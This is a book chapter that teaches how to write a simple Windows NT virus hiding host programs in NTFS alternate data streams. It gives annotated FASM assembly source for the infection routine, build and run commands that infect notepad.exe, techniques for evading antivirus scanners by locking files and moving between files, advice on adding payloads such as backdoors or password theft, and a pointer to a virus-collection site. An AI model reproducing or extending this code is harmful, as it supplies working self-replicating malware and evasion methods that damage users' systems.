Chapter 22: The Simplest Windows NT Virus

Inserting a virus into an executable file is an intricate and tedious process. At least, to achieve this goal it is necessary to study the format of the PE file and master several dozens of API functions… Proceeding this way, a beginner hacker won't succeed in creating at least something during several months. However, is it possible to get a jumpstart? In fact, there is. The NTFS file system (which is the main file system under Windows XP) contains such a feature as streams, also known as extended attributes. Within a file there might exist several independent data streams (Fig. 22.1).

[image: image1.wmf]Master file table (MFT)

MFT record

MFT record

.

 

.

 

.

MFT record

.

 

.

 

.

MFT record

.

 

.

 

.

File name

Date/time

.

 

.

 

.

File data

A short file

File name

Date/time

.

 

.

 

.

.

 

.

 

.

.

 

.

 

.

Extended

attributes

Data 1

Data 2


Fig. 22.1. The NTFS file system supports several streams within a file.

The name of the stream is divided from the filename by a colon, for example: my_file:stream. The main body of the file is stored in unnamed stream, however, it is also possible to create new streams. Start FAR Manager, press <Shift> + <F4>, enter the file name and stream from the keyboard (for example, xxx:yyy), and feed the editor with some text to the editor. Exit from the editor, and you'll see the file named xxx, and with zero length. Why is this so?! And where is the text that you have entered?! Press <F4>, and… and you won't see anything. Everything is correct! If the name of the stream is not specified, the file system displays the main stream, and in this case the main stream is empty. The size of other streams is not displayed, and, in order to get to their contents the stream name must be explicitly specified. Enter the following command from the command line: more < xxx:yyy and you'll see the text that you have entered.

Well, since creation of additional streams doesn't change apparent size of the file, then inserting a virus into additional stream, most probably, will not be noticed. Naturally, to pass the control to that stream, the main stream has to be modified. The checksum will inevitably change, and antivirus monitors surely won't like it. Well the problem with checksum and antivirus monitors will be covered later in this chapter. For the moment, it is necessary to concentrate the attention on the insertion strategy.

The Algorithm of the Virus Operation

Close the manual on the PE format, because it won't be needed for the moment. The method of insertion considered here is as follows. The virus creates an additional stream within the target file, copies there the main file body, and overwrites the original file body by the shell code that passes control to the main body. Naturally, such virus will operate only under Windows NT/2000/XP, and only on NTFS disks. As relates to FAT partitions, the original contents of the infected files will be lost, and that's a catastrophe. The same will happen if the file is archived with ZIP or any other compressing utility that doesn't support streams. As relates to WinRAR, it provides support for streams – when you are archiving files, do not forget to go to the Advanced tab of the Archive name and parameters window and set the Save file streams checkbox if you care for saving streams (Fig. 22.2).
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Fig. 22.2. WinRAR is capable of archiving streams

There also is another problem. Windows blocks access to all currently opened files, so if the virus attempts to insert itself into explorer.exe or firefox.exe it will inevitably fail. From the virus point of view, that's too bad. However, cunning virus will find a way out. Blocked file cannot be opened, however, it can be renamed. For example, the virus might take explorer.exe, and rename it (for example, the file might be called godown). Then the virus creates a new file, names it explorer.exe, places the virus body into the main stream of the newly created file, and then copies the original contents of the explorer.exe into an additional stream. After the next system startup, the explorer.exe created by the virus will take control, and it will be possible to delete the godown file. Of course, it is possible not to remove the godown file, however, in this case it might attract attention of a vigilant user of antivirus monitor.

Now it is time to discuss the problem with antiviral monitors. Insertion into the file is only half of the job, and not the most difficult one. Virus writer must also think out, how to neutralize various antiviral scanners and monitors. Nothing can be simpler, in fact! It is enough to block the file immediately after starting and maintain it in this condition during the entire session until the reboot. Antivirus software won't be able to open the file, and, consequently, will be unable to detect the fact of its modification. This locking can be carried out using various approaches — from calling the CreateFile function with reset dwSharedMode flag to LockFile/LockFileEx functions. More detailed information on this topic can be found in Platform SDK.

The main error of most viruses consists in that having once inserted their bodies into a file, they humbly wait until antivirus software opens the file and, having detected their presence, removes them. At the same time, contemporary hard disks are huge in size, and scanning them takes considerable time, often several hours… Antivirus scanners check files one by one, one file at a time. This means, that if the virus leads a nomadic life, migrating from file to file, the chances at its detection drop rapidly.

The lab virus considered in this chapter proceeds as follows. It inserts its body into the file, waits 30 seconds, then removes its body from the file and immediately inserts it into another one. The shorter is the period of waiting, the higher is the probability to remain unnoticed by the antivirus. However, at the same time, disk activity will become considerably more intense. Regular blinking of the disk activity LED without any visible reasons must immediately alert experienced users, therefore, the virus must behave more cunningly. For example, it is possible to monitor the disk activity, and carry out infection only when some file is accessed. In fact, it is not difficult to write a program that would carry out this task. An example of such a utility is File Monitor by Mark Russinovich (http://www.sysinternals.com), which is supplied with the source code.

Source Code of a Lab Virus

Natural languages practically never cope with the task of describing computer algorithms. They are too ambiguous and mutually contradictory.

Provided below (Listing 22.1) is the source code of the key fragment of the virus with comments. Technical details for economy of space are omitted here. They are supplied on the companion CD supplied with this book in the file named xcode.asm.

Listing 22.1. Source code of the key fragment of the lab virus

section '.code' code readable executable

start:

        ; Delete the temporary file
        push godown

        call [DeleteFile]

        ; Determine our name

        push 1000

        push buf

        push 0

        call [GetModuleFileName]

        ; Read the command line

        ; the  --* filename option - infect
        call [GetCommandLine]

        mov ebp,eax

        xor ebx,ebx

        mov ecx, 202A2D2Dh ;

rool:

        cmp [eax], ecx                ; is this '--*'?

        jz  infect

        inc eax

        cmp [eax], ebx                ; end of the command line?

        jnz rool

        ; Output the diagnostic message,

        ; confirming the virus presence in the file

        push 0

        push aInfected

        push aHello

        push 0

        call [MessageBox]

        ; add the name of the NTFS stream to the file name

        mov esi, code_name

        mov edi, buf

        mov ecx, 100; code_name_end - code_name

        xor eax,eax

        repne scasb

        dec edi

        rep movsb

        ; Start NTFS stream for execution

        push xxx

        push xxx

        push eax

        push eax

        push eax

        push eax

        push eax

        push eax

        push ebp

        push buf

        call [CreateProcess]

        jmp go2exit                   ; exit from the virus
infect:

        ; Set eax to the first character of the target file

        ; (from now and further on called destination, or dst for short)

        add  eax, 4

        xchg eax, ebp

        xor  eax,eax

        inc  eax

        ; check of dst for infection here

        ; rename dst to godown
        push godown

        push ebp

        call [RenameFile]

        ; copy the main stream of dst into godown

        push eax

        push ebp

        push buf

        call [CopyFile]

        ; Add the NTFS stream name to our name

        mov esi, ebp

        mov edi, buf

copy_rool:

        lodsb

        stosb

        test al,al

        jnz copy_rool

        mov esi, code_name

        dec edi

copy_rool2:

        lodsb

        stosb

        test al,al

        jnz copy_rool2

        ; copy godown into dst:eatout

        push eax

        push buf

        push godown

        call [CopyFile]

        ; Length correction of the file to be infected here,

        ; delete godown

        push godown

        call [DeleteFile]

        ; Output of the diagnostic message,

        ; confirming successful infection

        push  0

        push  aInfected

        push  ebp

        push  0

        call  [MessageBox]

        ; exit from the virus

go2exit:

        push  0

        call  [ExitProcess]

section '.data' data readable writeable

        godown        db "godown",0             ; name of the temporary file

        code_name     db ":eatmeout",0          ; name of the stream where…
        code_name_end:                          ; …the main body will be stored
        ; Various text strings displayed by the virus

        aInfected db "infected",0

        aHello    db "hello, you are hacked"
        ; Various buffers for auxiliary purposes

        buf rb 1000

        xxx rb 1000
Compiling and Testing the Virus

To compile the virus code, you'll need the FASM translator, free Windows version of which can be found at: http://flatassembler.net/. Other translators, such as MASM, TASM, etc., are not suitable here, because they use absolutely different assembly syntax.

ОК, download the FASM (http://flatassembler.net/fasmw160.zip), unpack the archive and enter the following command from the command line: fasm.exe xcode.asm. If everything was cone correctly, the xcode.exe file must appear on the disk. Start it for execution with the --* command-line option, followed by the name of the target file. For example, to infect Notepad.exe, issue the following command: xcode.exe --* notepad.exe. The next dialog pops up that reports about successful insertion (Fig. 22.3). If this doesn't happen, this means that attempt at infection has failed. In first place, it is necessary to make sure that there are access rights required for infection. The virus is not going to capture them on its own, at least now… 
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Fig. 22.3. The file has been infected successfully

Start the infected notepad.exe file for execution. To prove its existence, the virus immediately displays the dialog, and after pressing OK passes control to the original program code (Fig. 22.4).
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Fig. 22.4. Reaction of the infected file when started for execution

To avoid driving the user to infarct, it is better to remove this dialog from the final version of the virus, by replacing it by custom payload. Here everything depends on the intentions and imagination of the virus writer. For example, it is possible to turn the screen upside down.

Infected file has all required self-reproduction capabilities and can infect other executable files, for example: notepad.exe ‑‑* sol.exe. Naturally, no sane user will never infect files via the command line, and this virus doesn't contain a procedure for searching of the next "victim". Virus writer must add such a procedure to the virus body independently. If you decide to do so, just remember that writing viruses like the one that was presented here is not a crime (it doesn't carry out any destructive activity and doesn't infect files on its own, therefore, cannot be considered "malicious program). However, adding malicious payload as well as procedure that would allow the virus to search targets of attack on its own will make it malicious program, which is a crime.

Therefore, it would be much better to find another direction for improving the virus. When the file is reinfected, the current version irreversibly overwrites the original code by its body, and the file ceases to operate as the result. Is it possible to overcome this problem? Of course, it is possible to add the check for infection before copying the virus into the file. Call the CreateFile function, pass the file name along with the stream to it (for example: notepad.exe:eatmeout) and consider the result. If the file couldn't be opened, this means that it doesn't contain the eatmeout stream, which means that it hasn't been infected yet. If the file was opened successfully, this means that it has already been infected, in which case it is necessary to either abandon the idea of infection, or choose another stream, for example: eatmeout_01, eatmeout_02, eatmeout_03…

Another problem consists in that the virus doesn't correct the length of the target file, and after insertion it will be decreased to 4 KB (this is exactly the size of the current version of xcode.exe). That's too bad! The dirty trick will be immediately noticed by the user (explorer.exe, taking 4 KB looks not only suspiciously, but also funnily). After that, the user will certainly start the antivirus. However, what could be simpler than saving the length of the target file that it had before insertion, copying the virus body there, then open the file for writing and call the SetFilePointer function to set the pointer to the original size, thus increasing the size of the target file to original value?

However, these are minor details. The main issue here is that the virus has been written. Now the virus writer can further improve the code by extending its functionality. After all, viruses exist not only for dumb self-reproduction. Each one has its own mission and its own goal, such as creating a backdoor, eavesdropping the password, or something of the sort.

The suggested insertion strategy, naturally, is not ideal. However, it is much better that registering the virus in the system registry, which is controlled by lots of monitors, doctors, etc. By the way, clever virus writers, in order to avoid suffering damage from their own creations, must always have antidote for it close at hand. The following batch file retrieves the original file contents from the eatmeout stream and writes it into the rebirthed.exe file (Listing 22.2).

Listing 22.2. Batch file for recovery of infected files

more < %1:eatmeout > rebirthed.exe

ECHO i'm rebirthed now, fuck you!

Enumerating Streams

How is it possible to determine which streams could be contained inside a file? Built-in Windows tools provide no such capability! Functions for working with streams are undocumented and are available only through Native API. These are: NtCreateFile, NtQueryEaFile, and NtSetEaFile, the description of which can be found, in particular, in the following book: "The Undocumented Functions Microsoft Windows NT/2000" by Tomasz Nowak, electronic version of which can be downloaded for free from the NTinterlnals.net server. It is also highly recommended to read the "Win2k.Stream" article from issue 5 of the #29A virus magazine. Other e-zines are also recommended.

New streams are created by means of calling the NtCreateFile function, which, along with other arguments, accepts the pointer to the FILE_FULL_EA_INFORMATION structure, passed via EaBuffer. As a variant, it is possible to use the NtSetEaFile function by passing to it the descriptor returned by NtCreateFile opening the file in a normal way. The NtQueryEaFile function evaluates and reads all existing streams. The prototypes of all functions and definitions of all structures are contained in the NTDDK.H file, which contains sufficient amount of comments, allowing to grasp the idea and further gain an understanding of particulars.

Useful Resources

· http://vx.netlux.org. This is a vast collection of viruses and manuals on virus writing

· http://flatassembler.net/fasmw160.zip. This is a free Windows version of FASM – the best translator available.

